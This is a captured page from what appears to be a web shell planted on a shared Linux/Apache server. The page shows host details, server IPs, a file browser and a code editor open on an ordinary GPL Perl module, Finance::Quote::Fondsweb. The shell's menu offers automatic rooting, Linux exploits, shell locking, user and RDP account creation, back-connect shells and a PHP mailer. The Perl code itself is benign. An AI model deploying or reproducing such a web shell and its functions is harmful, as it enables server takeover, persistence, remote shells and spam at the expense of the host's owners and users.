Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Finance /
Quote /
[ HOME SHELL ]
Name
Size
Permission
Action
CurrencyRates
[ DIR ]
drwxr-xr-x
AEX.pm
5.76
KB
-rw-r--r--
ASEGR.pm
5.26
KB
-rw-r--r--
ASX.pm
10.78
KB
-rw-r--r--
AlphaVantage.pm
12.23
KB
-rw-r--r--
BSEIndia.pm
4.59
KB
-rw-r--r--
Bloomberg.pm
2.68
KB
-rw-r--r--
Bourso.pm
6.71
KB
-rw-r--r--
CSE.pm
3.13
KB
-rw-r--r--
Cdnfundlibrary.pm
5.34
KB
-rw-r--r--
Comdirect.pm
4.32
KB
-rw-r--r--
Currencies.pm
32.6
KB
-rw-r--r--
DWS.pm
4.36
KB
-rw-r--r--
Deka.pm
3.17
KB
-rw-r--r--
FTfunds.pm
11.55
KB
-rw-r--r--
Fidelity.pm
4.72
KB
-rw-r--r--
Finanzpartner.pm
4.05
KB
-rw-r--r--
Fondsweb.pm
5.29
KB
-rw-r--r--
Fool.pm
5.2
KB
-rw-r--r--
Fundata.pm
5.96
KB
-rw-r--r--
GoldMoney.pm
7.66
KB
-rw-r--r--
HU.pm
7.07
KB
-rw-r--r--
IEXCloud.pm
4.94
KB
-rw-r--r--
IndiaMutual.pm
4.71
KB
-rw-r--r--
MStaruk.pm
9.13
KB
-rw-r--r--
MorningstarAU.pm
5.05
KB
-rw-r--r--
MorningstarJP.pm
5.55
KB
-rw-r--r--
NSEIndia.pm
4.87
KB
-rw-r--r--
NZX.pm
3.25
KB
-rw-r--r--
OnVista.pm
7.54
KB
-rw-r--r--
Oslobors.pm
2.29
KB
-rw-r--r--
SEB.pm
3.96
KB
-rw-r--r--
SIX.pm
5.45
KB
-rw-r--r--
TMX.pm
5.83
KB
-rw-r--r--
TSP.pm
4.35
KB
-rw-r--r--
Tiaacref.pm
13.85
KB
-rw-r--r--
Tradeville.pm
3.88
KB
-rw-r--r--
Troweprice.pm
5
KB
-rw-r--r--
USFedBonds.pm
4.89
KB
-rw-r--r--
Union.pm
4.5
KB
-rw-r--r--
UserAgent.pm
3.25
KB
-rw-r--r--
XETRA.pm
4.59
KB
-rw-r--r--
YahooJSON.pm
8.21
KB
-rw-r--r--
ZA.pm
3.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Fondsweb.pm
# # Copyright (C) 2018, Diego Marcolungo # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. package Finance::Quote::Fondsweb; use warnings; use strict; use HTTP::Request::Common; use HTML::TreeBuilder::XPath; our $VERSION = '1.51'; # VERSION our $FONDSWEB_URL = "https://www.fondsweb.com/de/"; sub methods { return ( fondsweb => \&fondsweb ); } { my @labels = qw/name isin date isodate year_range nav last currency source method type/; sub labels { return (fondsweb => \@labels); } } # 123.456.789,00 -> 123456789.00 sub decimalPeriod { my $value = shift; $value =~ s/[.,]([0-9]+)$/#$1/; # temporarily replace final seperator with # $value =~ s/[.,]//g; # remove all other seperators $value =~ s/#/./; # replace # with . return $value; } sub fondsweb { my $quoter = shift; my @symbols = @_; my $te = HTML::TableExtract->new( depth => 0, count => 6 ); my %info; # Iterate over each symbol foreach my $symbol (@symbols) { my $tree = HTML::TreeBuilder::XPath->new; my $url = $FONDSWEB_URL . $symbol; #~ debug_ua( $quoter->user_agent ); # The site check the user agent $quoter->user_agent->agent("Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0"); my $reply = $quoter->user_agent->request(GET $url); # Check response unless ($reply->is_success) { $info{ $symbol, "success" } = 0; $info{ $symbol, "errmsg" } = join ' ', $reply->code, $reply->message; } else { # Parse the HTML tree $tree->parse( $reply->decoded_content ); # Find data using xpath # name my $name = $tree->findvalue( '//h1[@class="fw--h1 fw--fondsModule-head-content-headline"]'); $info{ $symbol, 'name' } = $name; # isin my $isin_raw = $tree->findvalue( '//span[@class="text_bold"]'); my @isin = $isin_raw =~ m/^(\w\w\d+)\w./; $info{ $symbol, 'isin' } = $isin[0]; # date, isodate my $raw_date = $tree->findvalue( '//i[@data-key="nav"]/..' ); my @date = $raw_date =~ m/.(\d\d)\.(\d\d)\.(\d\d\d\d)./; $quoter->store_date(\%info, $symbol, {eurodate => "$date[0]/$date[1]/$date[2]"} ); # year_range, in this case use table extract $te->parse($reply->decoded_content); # the 6th table my $details = $te->table(0, 6); my $lastRowIndex = @{$details->rows} - 1; # extract data with re my $highest = decimalPeriod($details->cell($lastRowIndex - 1, 1)); my $lowest = decimalPeriod($details->cell($lastRowIndex, 1)); $info{ $symbol, "year_range" } = $lowest . ' - ' . $highest; # nav, last, currency my $raw_nav_currency = $tree->findvalue( '//div[@class="fw--fondDetail-price"]' ); my @nav_currency = $raw_nav_currency =~ m/^([0-9,.]+)\s(\w+)/; $info{ $symbol, 'nav' } = decimalPeriod($nav_currency[0]); $info{ $symbol, 'last' } = $info{ $symbol, 'nav' }; $info{ $symbol, 'currency' } = $nav_currency[-1]; # Other metadata $info{ $symbol, 'method' } = 'fondsweb'; $info{ $symbol, "type" } = "fund"; $info{ $symbol, "success" } = 1; } } return wantarray ? %info : \%info; } __END__ =head1 NAME Finance::Quote::Fondsweb - Obtain price data from Fondsweb (Germany) =head1 VERSION This documentation describes version 1.00 of Fondsweb.pm, December 28, 2018. =head1 SYNOPSIS use Finance::Quote; $q = Finance::Quote->new; %info = $q->fetch("fondsweb", "LU0804734787"); =head1 DESCRIPTION This module obtains information from Fondsweb (Germany), L<https://www.fondsweb.com/>. Information returned by this module is governed by Fondsweb (Germany)'s terms and conditions. =head1 FUND SYMBOLS Use the ISIN number e.g. For L<https://www.fondsweb.com/de/LU0804734787>, one would supply LU0804734787 as the symbol argument on the fetch API call. =head1 LABELS RETURNED The following labels are returned by Finance::Quote::Fondsweb: - currency - date - isin - isodate - last - method - name - nav - type - year_range =head1 REQUIREMENTS Perl 5.012 HTML::TableExtract HTML::TreeBuilder::XPath =head1 ACKNOWLEDGEMENTS Inspired by other modules already present with Finance::Quote =head1 AUTHOR Diego Marcolungo =head1 LICENSE AND COPYRIGHT Copyright (C) 2018, Diego Marcolungo. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. =head1 DISCLAIMER This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. =head1 SEE ALSO Fondsweb (Germany), L<https://www.fondsweb.com/> =cut
Close